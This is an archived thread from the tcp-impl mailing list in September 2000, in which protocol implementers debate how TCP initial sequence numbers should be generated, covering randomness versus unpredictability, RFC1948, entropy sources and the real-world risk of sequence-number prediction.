KAA03210 for tcp-impl-outgoing; Tue, 19 Sep 2000 10:38:59 -0400 (EDT) Received: from seraph3.lerc.nasa.gov (firewall-user@guardian03.lerc.nasa.gov [139.88.146.12]) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) with SMTP id KAA03183 for ; Tue, 19 Sep 2000 10:38:57 -0400 (EDT) Received: by seraph3.lerc.nasa.gov; id KAA11651; Tue, 19 Sep 2000 10:38:56 -0400 Received: from twig.rodents.montreal.qc.ca(132.206.78.3) by seraph3.lerc.nasa.gov via smap (V5.5) id xma010844; Tue, 19 Sep 00 10:38:15 -0400 Received: (from mouse@localhost) by Twig.Rodents.Montreal.QC.CA (8.8.8/8.8.8) id KAA21789; Tue, 19 Sep 2000 10:37:22 -0400 (EDT) Date: Tue, 19 Sep 2000 10:37:22 -0400 (EDT) From: der Mouse Message-Id: <200009191437.KAA21789@Twig.Rodents.Montreal.QC.CA> Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit Cc: "T Srivathsa" To: tcp-impl@grc.nasa.gov Subject: Re: TCP sequence numbers Sender: owner-tcp-impl@lerc.nasa.gov Precedence: bulk Content-Transfer-Encoding: 8bit > Question 1: > Recently, there has been talk on the tcp-impl mailing list that ISN > can be random. If so, how can it be guaranteed that an old duplicate > will be rejected during a reincarnation? It can't; this is one of the problems with making the whole ISN random. A better approach might be to (say) make the high 16 bits count and the low 16 bits random - there are details, such as dealing with multiple transient connections in a small interval of time, but something like this could probably be made to work. > Question 2: > Can circumstances arise such that TCP pumps the connection's data > into the network at such a high rate, that subsequent sequence > numbers increase at the same rate as ISNs? ...or faster. Yes. If the ISN comes from a counter that ticks every 4 microseconds, that corresponds to 250000 bytes/sec; I routinely see transfer rates over twice that even on 10Mbps Ethernet - and I've seen over 32 times it, over eight MB/sec, when running at 100Mbps. Also, at 4 us per tick, the counter will wrap every 4.77+ hours. I routinely have connections which stay up for days, transferring on the order of kilobytes, which means that the ISN counter wraps around and catches up to the connection's sequence numbers over and over again. These are (among the reasons) why TIME-WAIT is so important. der Mouse mouse@rodents.montreal.qc.ca 7D C8 61 52 5D E7 2D 39 4E F1 31 3E E8 B3 27 4B From owner-tcp-impl@lerc.nasa.gov Tue Sep 19 14:38:09 2000 Received: from lombok-fi.lerc.nasa.gov (lombok-fi.lerc.nasa.gov [139.88.112.33]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA22242 for ; Tue, 19 Sep 2000 14:38:09 -0400 (EDT) Received: (from listserv@localhost) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) id MAA16690 for tcp-impl-outgoing; Tue, 19 Sep 2000 12:05:59 -0400 (EDT) Received: from seraph3.lerc.nasa.gov (firewall-user@guardian03.lerc.nasa.gov [139.88.146.12]) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) with SMTP id MAA16680 for ; Tue, 19 Sep 2000 12:05:57 -0400 (EDT) Received: by seraph3.lerc.nasa.gov; id MAA17990; Tue, 19 Sep 2000 12:05:56 -0400 Received: from tnt.isi.edu(128.9.128.128) by seraph3.lerc.nasa.gov via smap (V5.5) id xma017760; Tue, 19 Sep 00 12:05:51 -0400 Received: from gra.isi.edu (gra.isi.edu [128.9.160.133]) by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA19595; Tue, 19 Sep 2000 09:04:34 -0700 (PDT) From: Bob Braden Received: (from braden@localhost) by gra.isi.edu (8.8.7/8.8.6) id QAA09510; Tue, 19 Sep 2000 16:04:34 GMT Date: Tue, 19 Sep 2000 16:04:34 GMT Message-Id: <200009191604.QAA09510@gra.isi.edu> To: tcp-impl@grc.nasa.gov, srivathsa.tirumala@wipro.com Subject: Re: TCP sequence numbers X-Sun-Charset: US-ASCII Sender: owner-tcp-impl@lerc.nasa.gov Precedence: bulk *> From owner-tcp-impl@lerc.nasa.gov Tue Sep 19 06:38:47 2000 *> Date: Tue, 19 Sep 2000 17:56:41 +0530 *> From: "T Srivathsa" *> Reply-To: srivathsa.tirumala@wipro.com *> X-Mailer: Mozilla 4.7 [en] (Win95; I) *> X-Accept-Language: en *> MIME-Version: 1.0 *> To: "tcp-impl@grc.nasa.gov" *> Subject: TCP sequence numbers *> Content-Transfer-Encoding: 7bit *> Sender: owner-tcp-impl@lerc.nasa.gov *> Precedence: bulk *> X-Lines: 26 *> *> Hi, *> *> My understanding of the Initial Sequence Numbers in TCP is that they *> increment at a much faster rate (typically once every 4 usecs) than the *> subsequent sequence numbers (which depends on how fast TCP pumps that *> connection's data into the network). *> Please see the Appendix to RFC1185. Bob Braden *> This way, during a reincarnation (same src, dst ip addresses and same *> src, dst ports) of a connection, even if an old duplicate surfaces, it *> can be rejected because "it's sequence number will be WAY BEHIND". *> *> Question 1: *> Recently, there has been talk on the tcp-impl mailing list that ISN *> can be random. If so, how can it be guaranteed that an old duplicate *> will be rejected during a reincarnation? *> *> Question 2: *> Can circumstances arise such that TCP pumps the connection's data *> into the network at such a high rate, that subsequent sequence numbers *> increase at the same rate as ISNs? *> For eg, an FTP between very fast machines, on a very fast LAN, with *> TCP WINDOW SCALING? *> *> *> Bye *> Srivathsa *> From owner-tcp-impl@lerc.nasa.gov Tue Sep 19 15:26:40 2000 Received: from lombok-fi.lerc.nasa.gov (lombok-fi.lerc.nasa.gov [139.88.112.33]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA23422 for ; Tue, 19 Sep 2000 15:26:39 -0400 (EDT) Received: (from listserv@localhost) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) id NAA27964 for tcp-impl-outgoing; Tue, 19 Sep 2000 13:09:31 -0400 (EDT) Received: from seraph3.lerc.nasa.gov (firewall-user@guardian03.lerc.nasa.gov [139.88.146.12]) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) with SMTP id NAA27920 for ; Tue, 19 Sep 2000 13:09:28 -0400 (EDT) Received: by seraph3.lerc.nasa.gov; id NAA06822; Tue, 19 Sep 2000 13:09:27 -0400 Received: from mail.internet2.edu(209.211.239.218) by seraph3.lerc.nasa.gov via smap (V5.5) id xma005220; Tue, 19 Sep 00 13:08:21 -0400 Received: from cain.internet2.edu (localhost [127.0.0.1]) by mail.internet2.edu (8.9.3/8.9.1) with ESMTP id NAA13944 for ; Tue, 19 Sep 2000 13:08:20 -0400 (EDT) Received: by cain.internet2.edu (Postfix, from userid 1000) id DAC554FB; Tue, 19 Sep 2000 13:08:19 -0400 (EDT) To: tcp-impl@grc.nasa.gov Subject: Re: Calculations of ISN for new TCP sessions References: <200009190346.XAA20908@Twig.Rodents.Montreal.QC.CA> From: stanislav shalunov Date: 19 Sep 2000 13:08:19 -0400 In-Reply-To: <200009190346.XAA20908@Twig.Rodents.Montreal.QC.CA> Message-ID: <878zsol37g.fsf@cain.internet2.edu> Lines: 97 X-Mailer: Gnus v5.7/Emacs 20.4 Sender: owner-tcp-impl@lerc.nasa.gov Precedence: bulk der Mouse writes: > You may well believe it. But what are your grounds? Unpredictability of output of counter mode is part of definition of cipher strength (secrecy). Many hardware vendors like counter mode, because it is easy to parallelize. If you have any reasons to believe that there's a systemic weakness in counter mode, it should be made public. > > And 128 bits Ought to be Enough for Everybody(TM). > > They said that about 640KB of RAM, too. I've seen some disturbing > rumblings on the horizon that imply that we may have to worry about > nondeterminstic computers in the (so far only dimly) foreseeable > future. I hoped the pun would be obvious. My next sentence even mentions 640 bits to make it more obvious. Of course, there are several differences that make the implied comparison invalid: * 640KB is a resource. Moore's law says it'll double every 18 months. 128 bits is on top of an exponent. Same law says one would add one to it every 18 months (we're in the vicinity of 60 or 70--depending on algorithm--now). * Increasing the 128 number costs almost nothing performance-wise. It's implementor's choice. * I said that you would continue to gather entropy even after you have satisfactory amount. > My point is that you have to assume that the attacker *knows* exactly > how you're generating the ISNs; all you can keep secret (except in that > short term I mentioned), is the entropy you've accumulated. Oh. What I meant is that there would be no practical way for the attacker to distinguish between the output of PRNG and true random source, if given two files: one with true random numbers and the other with PRNG output. > Your phrasing sounds as though you intend this as some kind of attack > on me as a non-cryptographer. That was not intended as an attack on anybody. Sorry if it sounded as such. > If so, I consider it flawed, because I am making no claim to > producing any sort of PRNG; all I am pointing out is that if you > haven't got the entropy, you just haven't got it, and you *are* then > doing pseudo-random, rather than really random, values. Didn't I use the term "pseudo-random" all the way? > I suppose it comes down to the difference between "infeasible" (which > is a moving target) and "impossible" (which isn't). That's right. And performing 2^128 (complex) operations is off the radar screen. My point is that you don't need a lot of entropy to generate good (unpredictable--in practical sense--by an adversary) ISNs. You need *a lot* less than 32 bits per ISN, whether you choose to use a block cipher in counter mode, one-way function to refine the state of entropy pool, a real stream cipher--like arcfour, or some other scheme. Which scheme is the best (meets security requirements for ISN generation purposes and is the cheapest to implement on one's machine or embedded device) is a subject of interesting, but off-topic, discussion. My claim only was that such schemes definitely exist. > In any case, tcp-impl probably is not the right place for a crypto > discussion. I agree with that. I only *responded* to (obviously incorrect, or at least very carelessly worded) cryptographic claims. An earlier message by another author contained assertion that packet arrival times contain 5 or 6 bits of entropy (which seems over-optimistic to me) and that "[e]ven [...] those 5 or 6 bits are valuable". Of course, they're valuable. They give one much more entropy than one could ever possibly want for a very good PRNG. (I would prefer a more pessimistic estimate of the amount of entropy in packet arrival times, such as 0.01 bits per packet, but even that's more than enough.) The actual "how to do it" is, of course, off-topic for tcp-impl. -- Stanislav Shalunov Internet Engineer, Internet2 Documentation is like sex: when it is good, it is very, very good; and when it is bad, it is better than nothing. -- Dick Brandon From owner-tcp-impl@lerc.nasa.gov Tue Sep 19 15:26:44 2000 Received: from lombok-fi.lerc.nasa.gov (lombok-fi.lerc.nasa.gov [139.88.112.33]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA23433 for ; Tue, 19 Sep 2000 15:26:43 -0400 (EDT) Received: (from listserv@localhost) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) id MAA21241 for tcp-impl-outgoing; Tue, 19 Sep 2000 12:32:43 -0400 (EDT) Received: from seraph3.lerc.nasa.gov (firewall-user@guardian03.lerc.nasa.gov [139.88.146.12]) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) with SMTP id MAA21219 for ; Tue, 19 Sep 2000 12:32:40 -0400 (EDT) Received: by seraph3.lerc.nasa.gov; id MAA06205; Tue, 19 Sep 2000 12:32:38 -0400 Received: from mail.internet2.edu(209.211.239.218) by seraph3.lerc.nasa.gov via smap (V5.5) id xma005306; Tue, 19 Sep 00 12:32:08 -0400 Received: from cain.internet2.edu (localhost [127.0.0.1]) by mail.internet2.edu (8.9.3/8.9.1) with ESMTP id MAA13306 for ; Tue, 19 Sep 2000 12:32:07 -0400 (EDT) Received: by cain.internet2.edu (Postfix, from userid 1000) id 18DCC4FB; Tue, 19 Sep 2000 12:32:06 -0400 (EDT) To: tcp-impl@grc.nasa.gov Subject: Re: Calculations of ISN for new TCP sessions References: <200009190248.e8J2mDZ27849@calcite.rhyolite.com> From: stanislav shalunov Date: 19 Sep 2000 12:32:06 -0400 In-Reply-To: <200009190248.e8J2mDZ27849@calcite.rhyolite.com> Message-ID: <87bsxkl4vt.fsf@cain.internet2.edu> Lines: 22 X-Mailer: Gnus v5.7/Emacs 20.4 Sender: owner-tcp-impl@lerc.nasa.gov Precedence: bulk Vernon Schryver writes: > What bad things happen if you use completely predictable ISN's? > You've fixed your systems to not use IP addresses as authenticators > by turning off /etc/hosts.equiv and .rhosts, right? So what if a > bad guy predicts all of your ISN's? The bad guy could, for example, relay spam through your PIPELINE-enabled ESMTP server--in an almost untraceable manner. Or they could abuse some CGI scripts, and you would not know who they are. Or they could try exploits on your TCP services without an easy way to learn who they were. Given the fact that good PRNGs are cheap (just some 50 cycles or so per ISN), there's no excuse to not use them. -- Stanislav Shalunov Internet Engineer, Internet2 "Computer Science is no more about computers than astronomy is about telescopes." -- E. W. Dijkstra From owner-tcp-impl@lerc.nasa.gov Tue Sep 19 17:14:05 2000 Received: from lombok-fi.lerc.nasa.gov (lombok-fi.lerc.nasa.gov [139.88.112.33]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA25149 for ; Tue, 19 Sep 2000 17:14:05 -0400 (EDT) Received: (from listserv@localhost) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) id OAA12963 for tcp-impl-outgoing; Tue, 19 Sep 2000 14:40:11 -0400 (EDT) Received: from seraph3.lerc.nasa.gov (firewall-user@guardian03.lerc.nasa.gov [139.88.146.12]) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) with SMTP id OAA12933 for ; Tue, 19 Sep 2000 14:40:08 -0400 (EDT) Received: by seraph3.lerc.nasa.gov; id OAA24997; Tue, 19 Sep 2000 14:40:07 -0400 Received: from persephone.cfrq.net(207.245.2.4) by seraph3.lerc.nasa.gov via smap (V5.5) id xma023728; Tue, 19 Sep 00 14:39:27 -0400 Received: from penelope.ve3tla.ampr.org (IDENT:root@24.69.142.73.on.wave.home.com [24.69.142.73]) by persephone.cfrq.net (8.11.0/8.11.0) with ESMTP id e8JIdEc19079 for ; Tue, 19 Sep 2000 14:39:15 -0400 Received: from ve3tla.ampr.org (chk@localhost [127.0.0.1]) by penelope.ve3tla.ampr.org (8.8.7/8.8.7) with ESMTP id OAA21835 for ; Tue, 19 Sep 2000 14:39:13 -0400 Message-Id: <200009191839.OAA21835@ve3tla.ampr.org> To: tcp-impl@grc.nasa.gov Subject: Re: TCP sequence numbers References: <200009191437.KAA21789@Twig.Rodents.Montreal.QC.CA> In-reply-to: Your message of "Tue, 19 Sep 2000 10:37:22 -0400". <200009191437.KAA21789@Twig.Rodents.Montreal.QC.CA> From: Harald Koch Date: Tue, 19 Sep 2000 14:39:12 -0400 Sender: owner-tcp-impl@lerc.nasa.gov Precedence: bulk Of all the gin joints in all the towns in all the world, der Mouse had to walk into mine and say: > > It can't; this is one of the problems with making the whole ISN random. I apparently haven't been following the discussion closely. Why is there *any* requirement that the ISN be random? It needs to be *unpredictable*, which is most decidedly not the same thing. RFC1948 handles unpredictable just fine... -- Harald Koch "It takes a child to raze a village." -Michael T. Fry From owner-tcp-impl@lerc.nasa.gov Tue Sep 19 17:40:19 2000 Received: from lombok-fi.lerc.nasa.gov (lombok-fi.lerc.nasa.gov [139.88.112.33]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA25416 for ; Tue, 19 Sep 2000 17:40:19 -0400 (EDT) Received: (from listserv@localhost) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) id PAA18841 for tcp-impl-outgoing; Tue, 19 Sep 2000 15:11:32 -0400 (EDT) Received: from seraph3.lerc.nasa.gov (firewall-user@guardian03.lerc.nasa.gov [139.88.146.12]) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) with SMTP id PAA18792 for ; Tue, 19 Sep 2000 15:11:29 -0400 (EDT) Received: by seraph3.lerc.nasa.gov; id PAA14479; Tue, 19 Sep 2000 15:11:27 -0400 Received: from calcite.rhyolite.com(38.159.140.3) by seraph3.lerc.nasa.gov via smap (V5.5) id xma013197; Tue, 19 Sep 00 15:10:44 -0400 Received: (from vjs@localhost) by calcite.rhyolite.com (8.11.0/8.11.0) id e8JJAcK14478 for tcp-impl@grc.nasa.gov env-from ; Tue, 19 Sep 2000 13:10:38 -0600 (MDT) Date: Tue, 19 Sep 2000 13:10:38 -0600 (MDT) From: Vernon Schryver Message-Id: <200009191910.e8JJAcK14478@calcite.rhyolite.com> To: tcp-impl@grc.nasa.gov Subject: Re: Calculations of ISN for new TCP sessions Sender: owner-tcp-impl@lerc.nasa.gov Precedence: bulk > From: stanislav shalunov > ... > > What bad things happen if you use completely predictable ISN's? > > You've fixed your systems to not use IP addresses as authenticators > > by turning off /etc/hosts.equiv and .rhosts, right? So what if a > > bad guy predicts all of your ISN's? > > The bad guy could, for example, relay spam through your > PIPELINE-enabled ESMTP server--in an almost untraceable manner. I'm not sure I agree that predicting ISN's would be sufficient to get through typical SMTP relay criteria. I definitiely do not agree with "untraceable," because of the defenses that have evolved against other forged IP-source address attacks. Then there is the fact that in most of a decade of trying, not one spammer has been found that can forge a believable Received: line, despite the absolutely trivial effort needed. I doubt you could find a spammer or spamware author capable of understanding the concept "TCP initial sequence number" or even "TCP sequence number." However, assume predictable ISN's would have spammers relaying untraceable spam. So what? I've have and continue to do far more about email spam than the vast majority (I'm sure including you), but even I know relaying or even sending spam is not a serious enough problem to justify even one line of kernel code. > Or they could abuse some CGI scripts, and you would not know who they > are. If you're smart enough to turn off .rhosts, then let's hope you have not made the gross blunder of using IP addresses as authenticators for your CGI scripts or the infinite number of similar stupid mistakes. > Or they could try exploits on your TCP services without an easy > way to learn who they were. Never mind that most of those who worry about bad guys trying exploits on their TCP services, often using misnamed (actually, fraudulently named) "personal firewalls" have been such pests with their silly false alarms that reports of attacks are now routinely ignored. Predictable ISN's do little or nothing to ensure that you can find or identify attackers. Consider that the serious, real life attacks in the last year or two that have involved forged IP source addresses. > Given the fact that good PRNGs are cheap (just some 50 cycles or so > per ISN), there's no excuse to not use them. No one is suggesting not using enough entropy and suitable software to generate ISN's that cannot in practice be guessed, because it is sufficiently cheap. On the other hand, I suspect that 50 CPU cycles is ridiculously low for your Yarrow-160, what with its use of 3-DES and SHA. I don't think you can even meet 50 cycles by fetching the clock and running it and other secrets through MD5, or equivalents that I've coded and shipped. I'm sorry to be raining on security audit expert parades (oh, not really), but predictable ISN's are not a major problem, no matter how many trade rag consultants, netnews experts, and salescritters tell their marks otherwise. Vernon Schryver vjs@rhyolite.com From owner-tcp-impl@lerc.nasa.gov Tue Sep 19 18:10:00 2000 Received: from lombok-fi.lerc.nasa.gov (lombok-fi.lerc.nasa.gov [139.88.112.33]) by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA25576 for ; Tue, 19 Sep 2000 18:10:00 -0400 (EDT) Received: (from listserv@localhost) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) id PAA24856 for tcp-impl-outgoing; Tue, 19 Sep 2000 15:46:20 -0400 (EDT) Received: from seraph3.lerc.nasa.gov (firewall-user@guardian03.lerc.nasa.gov [139.88.146.12]) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) with SMTP id PAA24829 for ; Tue, 19 Sep 2000 15:46:17 -0400 (EDT) Received: by seraph3.lerc.nasa.gov; id PAA01327; Tue, 19 Sep 2000 15:46:17 -0400 Received: from calcite.rhyolite.com(38.159.140.3) by seraph3.lerc.nasa.gov via smap (V5.5) id xma000457; Tue, 19 Sep 00 15:45:44 -0400 Received: (from vjs@localhost) by calcite.rhyolite.com (8.11.0/8.11.0) id e8JJjg415323 for tcp-impl@grc.nasa.gov env-from ; Tue, 19 Sep 2000 13:45:42 -0600 (MDT) Date: Tue, 19 Sep 2000 13:45:42 -0600 (MDT) From: Vernon Schryver Message-Id: <200009191945.e8JJjg415323@calcite.rhyolite.com> To: tcp-impl@grc.nasa.gov Subject: Re: Calculations of ISN for new TCP sessions Sender: owner-tcp-impl@lerc.nasa.gov Precedence: bulk > From: stanislav shalunov > ... > > My point is that you have to assume that the attacker *knows* exactly > > how you're generating the ISNs; all you can keep secret (except in that > > short term I mentioned), is the entropy you've accumulated. > > Oh. What I meant is that there would be no practical way for the > attacker to distinguish between the output of PRNG and true random > source, if given two files: one with true random numbers and the other > with PRNG output. As der Mouse said, that distinction is meaningless in this context. You must assume that the attacker has a current copy of the source to your TCP code and local hardware for private experiments. For decades, current commercial TCP source has been spread widely in universities and big customers. Non-disclosure agreements are sufficient to protect trade secrets and useless against anyone guessing ISN's. > ... > I agree with that. I only *responded* to (obviously incorrect, or at > least very carelessly worded) cryptographic claims. An earlier > message by another author contained assertion that packet arrival > times contain 5 or 6 bits of entropy (which seems over-optimistic to > me) and that "[e]ven [...] those 5 or 6 bits are valuable". I think I made that claim. What is my "(obviously incorrect, or at least very carelessly worded) cryptographic claim"? > Of course, they're valuable. They give one much more entropy than one > could ever possibly want for a very good PRNG. That is an obviously incorrect, or at least very carelessly worded cryptographic claim. Even the best crypto PRNG can be trivially and extremely quickly reversed if you know all but 5 or 6 of its initial state. In this context, you must assume the bad guy knows which of the 5 or 6 input bits are variable, because the bad guy has a copy of your source. > (I would prefer a more > pessimistic estimate of the amount of entropy in packet arrival times, > such as 0.01 bits per packet, but even that's more than enough.) Your 0.01 bits/packet of entropy makes no sense to me. If there were only 0.01 or even 1 bit of entropy in packet arrival times, then we wouldn't need RTP and the many other ToS and QoS mechanisms. Even the telco guys would have switched to packets 25 years ago. Consider the 10 MHz Ethernet packets I was talking about. They won't come more often than once every 64 microsecond slot time. Their nanosecond arrival times within slot times will depend on the clocks of their senders and of any bridges and Ethernet repeaters in their paths, as well as many sources of hardware noise (e.g DRAM refresh, bus contention, interrupt latency, DMA state machine latency) in the senders, bridges, repeaters, and receiver. Their nanosecond arrival times will have more than 8 bits of entropy. Add the effects of other traffic on the Ethernet (including the SYN-ACK), that the average packet size on most LANs is 8 or more slot times instead of 1, and you clearly have 15 or 16 bits of entropy per packet with nanosecond clocks and 5 or 6 with microsecond clocks. Then, since ISN attacks on LANs are silly, there is the entropy of packets arriving from wide area networks, which have another several bits of entropy, because their jitter is as much as 10's or 100's of milliseconds. > The actual "how to do it" is, of course, off-topic for tcp-impl. How can "how to do it", getting entropy and using it to generate ISN's be off-topic for the IETF's TCP implemenetor's list? Vernon Schryver vjs@rhyolite.com From owner-tcp-impl@lerc.nasa.gov Tue Sep 19 23:29:38 2000 Received: from lombok-fi.lerc.nasa.gov (lombok-fi.lerc.nasa.gov [139.88.112.33]) by ietf.org (8.9.1a/8.9.1a) with SMTP id XAA00851 for ; Tue, 19 Sep 2000 23:29:38 -0400 (EDT) Received: (from listserv@localhost) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) id UAA23633 for tcp-impl-outgoing; Tue, 19 Sep 2000 20:47:51 -0400 (EDT) Received: from seraph3.lerc.nasa.gov (firewall-user@guardian03.lerc.nasa.gov [139.88.146.12]) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) with SMTP id UAA23615 for ; Tue, 19 Sep 2000 20:47:48 -0400 (EDT) Received: by seraph3.lerc.nasa.gov; id UAA15915; Tue, 19 Sep 2000 20:47:48 -0400 Received: from laurin.munich.netsurf.de(194.64.166.1) by seraph3.lerc.nasa.gov via smap (V5.5) id xma015832; Tue, 19 Sep 00 20:46:49 -0400 Received: from fred.muc.de (noidentity@ns1058.munich.netsurf.de [195.180.235.58]) by laurin.munich.netsurf.de (8.9.3/8.9.3) with ESMTP id CAA11576; Wed, 20 Sep 2000 02:46:47 +0200 (MET DST) Received: by fred.muc.de (Postfix, from userid 500) id D3833E3913; Wed, 20 Sep 2000 02:31:44 +0200 (CEST) Date: Wed, 20 Sep 2000 02:31:44 +0200 From: Andi Kleen To: Harald Koch Cc: tcp-impl@grc.nasa.gov Subject: Re: TCP sequence numbers Message-ID: <20000920023144.A4668@fred.muc.de> References: <200009191437.KAA21789@Twig.Rodents.Montreal.QC.CA> <200009191839.OAA21835@ve3tla.ampr.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <200009191839.OAA21835@ve3tla.ampr.org>; from chk@pobox.com on Tue, Sep 19, 2000 at 11:48:56PM +0200 Sender: owner-tcp-impl@lerc.nasa.gov Precedence: bulk On Tue, Sep 19, 2000 at 11:48:56PM +0200, Harald Koch wrote: > Of all the gin joints in all the towns in all the world, der Mouse > had to walk into mine and say: > > > > It can't; this is one of the problems with making the whole ISN random. > > I apparently haven't been following the discussion closely. > > Why is there *any* requirement that the ISN be random? It needs to be > *unpredictable*, which is most decidedly not the same thing. RFC1948 > handles unpredictable just fine... [cool, discussion starts to loop] RFC1948 works... assuming you have a non predictable secret, which most implementations I know have not. I've also never seen a TCP yet that asked for a passphrase from the administrator before first use. Have you ? -Andi From owner-tcp-impl@lerc.nasa.gov Tue Sep 19 23:47:17 2000 Received: from lombok-fi.lerc.nasa.gov (lombok-fi.lerc.nasa.gov [139.88.112.33]) by ietf.org (8.9.1a/8.9.1a) with SMTP id XAA01414 for ; Tue, 19 Sep 2000 23:47:16 -0400 (EDT) Received: (from listserv@localhost) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) id VAA25941 for tcp-impl-outgoing; Tue, 19 Sep 2000 21:24:45 -0400 (EDT) Received: from seraph3.lerc.nasa.gov (firewall-user@guardian03.lerc.nasa.gov [139.88.146.12]) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) with SMTP id VAA25919 for ; Tue, 19 Sep 2000 21:24:42 -0400 (EDT) Received: by seraph3.lerc.nasa.gov; id VAA20669; Tue, 19 Sep 2000 21:24:41 -0400 Received: from mail.internet2.edu(209.211.239.218) by seraph3.lerc.nasa.gov via smap (V5.5) id xma020569; Tue, 19 Sep 00 21:24:17 -0400 Received: from cain.internet2.edu (localhost [127.0.0.1]) by mail.internet2.edu (8.9.3/8.9.1) with ESMTP id VAA21557; Tue, 19 Sep 2000 21:24:12 -0400 (EDT) Received: by cain.internet2.edu (Postfix, from userid 1000) id DCB525C4; Tue, 19 Sep 2000 21:24:11 -0400 (EDT) To: Vernon Schryver Cc: tcp-impl@grc.nasa.gov Subject: Re: Calculations of ISN for new TCP sessions References: <200009191910.e8JJAcK14478@calcite.rhyolite.com> From: stanislav shalunov Date: 19 Sep 2000 21:24:11 -0400 In-Reply-To: <200009191910.e8JJAcK14478@calcite.rhyolite.com> Message-ID: <87u2bbn9dw.fsf@cain.internet2.edu> Lines: 75 X-Mailer: Gnus v5.7/Emacs 20.4 Sender: owner-tcp-impl@lerc.nasa.gov Precedence: bulk Vernon Schryver writes: > I'm not sure I agree that predicting ISN's would be sufficient to > get through typical SMTP relay criteria. All real-life SMTP servers I know base their relay permission criteria on IP numbers (sometimes dynamically configured, as in SMTP-after-POP). In any case, there's usually an easily guessable range of IPs that the server would relay for (dial-up numbers of a given provider, /24 of the server itself for small organization, etc.). You must mean authenticated SMTP. We have yet to see it widely used. > I definitiely do not agree with "untraceable," because of the > defenses that have evolved against other forged IP-source address > attacks. Technically, it's not harder or easier to trace than a UDP packet that came with bogus source address (and that's hard). The significant non-technical distinction is that abuse desk personnel has been trained to trust Received lines their mail server has written. > Then there is the fact that in most of a decade of trying, not one > spammer has been found that can forge a believable Received: line, > despite the absolutely trivial effort needed. I seem to be getting some spam with syntactically plausible forged Received lines (I cannot be sure since there's no way to figure out whether what seems to be a relay in South Dakota isn't actually the spammer's machine, cleverly putting itself into ORBS and generating bogus Received lines that point to Sprint dialup network). That's not the point. Spammers and other network abusers will learn only as fast as they need to--but not slower than that either. > If you're smart enough to turn off .rhosts, then let's hope you have not > made the gross blunder of using IP addresses as authenticators for your > CGI scripts or the infinite number of similar stupid mistakes. IP numbers don't have to be used for authentication to be useful for tracking purposes. Bogus complaints with doctored "screenshots" sent by "personal firewalls" nonwithstanding. > Consider that the serious, real life attacks in the last year or two > that have involved forged IP source addresses. Forging source of TCP connections would be impossible if ISNs were unpredictable. You're saying that forging sources of TCP traffic (or did you mean UDP and SYNs) was used in unspecified serious attacks. Evidently, prevention of such spoofing would make investigation easier. At the same time, you place no value in this prevention. Or did you mean DDoS "attacks". They're usually traced by the amount of traffic anyway, and this is simple enough. > No one is suggesting not using enough entropy and suitable software to > generate ISN's that cannot in practice be guessed, because it is > sufficiently cheap. On the other hand, I suspect that 50 CPU cycles is > ridiculously low for your Yarrow-160, what with its use of 3-DES and SHA. That's true, 3DES would be more expensive. I didn't mean to say that the exact code with Yarrow with the exact primitives chosen by Counterpane should be used. You can have much cheaper ciphers than 3DES (and they would provide adequate security for the purposes of ISN generation). AES candidates have much better cycles per byte than 3DES, which is very slow--but most researched, and thus most trusted--block cipher algorithm. One doesn't even need to use block cipher, which I gave as an example. Hardware implementations of stream ciphers will be faster. -- Stanislav Shalunov Internet Engineer, Internet2 A large number of installed systems work by fiat. That is, they work by being declared to work. -- Anatol Holt From owner-tcp-impl@lerc.nasa.gov Wed Sep 20 00:39:02 2000 Received: from lombok-fi.lerc.nasa.gov (lombok-fi.lerc.nasa.gov [139.88.112.33]) by ietf.org (8.9.1a/8.9.1a) with SMTP id AAA01903 for ; Wed, 20 Sep 2000 00:39:01 -0400 (EDT) Received: (from listserv@localhost) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) id WAA28729 for tcp-impl-outgoing; Tue, 19 Sep 2000 22:11:47 -0400 (EDT) Received: from seraph3.lerc.nasa.gov (firewall-user@guardian03.lerc.nasa.gov [139.88.146.12]) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) with SMTP id WAA28710 for ; Tue, 19 Sep 2000 22:11:42 -0400 (EDT) Received: by seraph3.lerc.nasa.gov; id WAA03848; Tue, 19 Sep 2000 22:11:40 -0400 Received: from mail.internet2.edu(209.211.239.218) by seraph3.lerc.nasa.gov via smap (V5.5) id xma003752; Tue, 19 Sep 00 22:10:45 -0400 Received: from cain.internet2.edu (localhost [127.0.0.1]) by mail.internet2.edu (8.9.3/8.9.1) with ESMTP id WAA21892; Tue, 19 Sep 2000 22:10:41 -0400 (EDT) Received: by cain.internet2.edu (Postfix, from userid 1000) id D65B95C4; Tue, 19 Sep 2000 22:10:39 -0400 (EDT) To: Vernon Schryver Cc: tcp-impl@grc.nasa.gov Subject: Re: Calculations of ISN for new TCP sessions References: 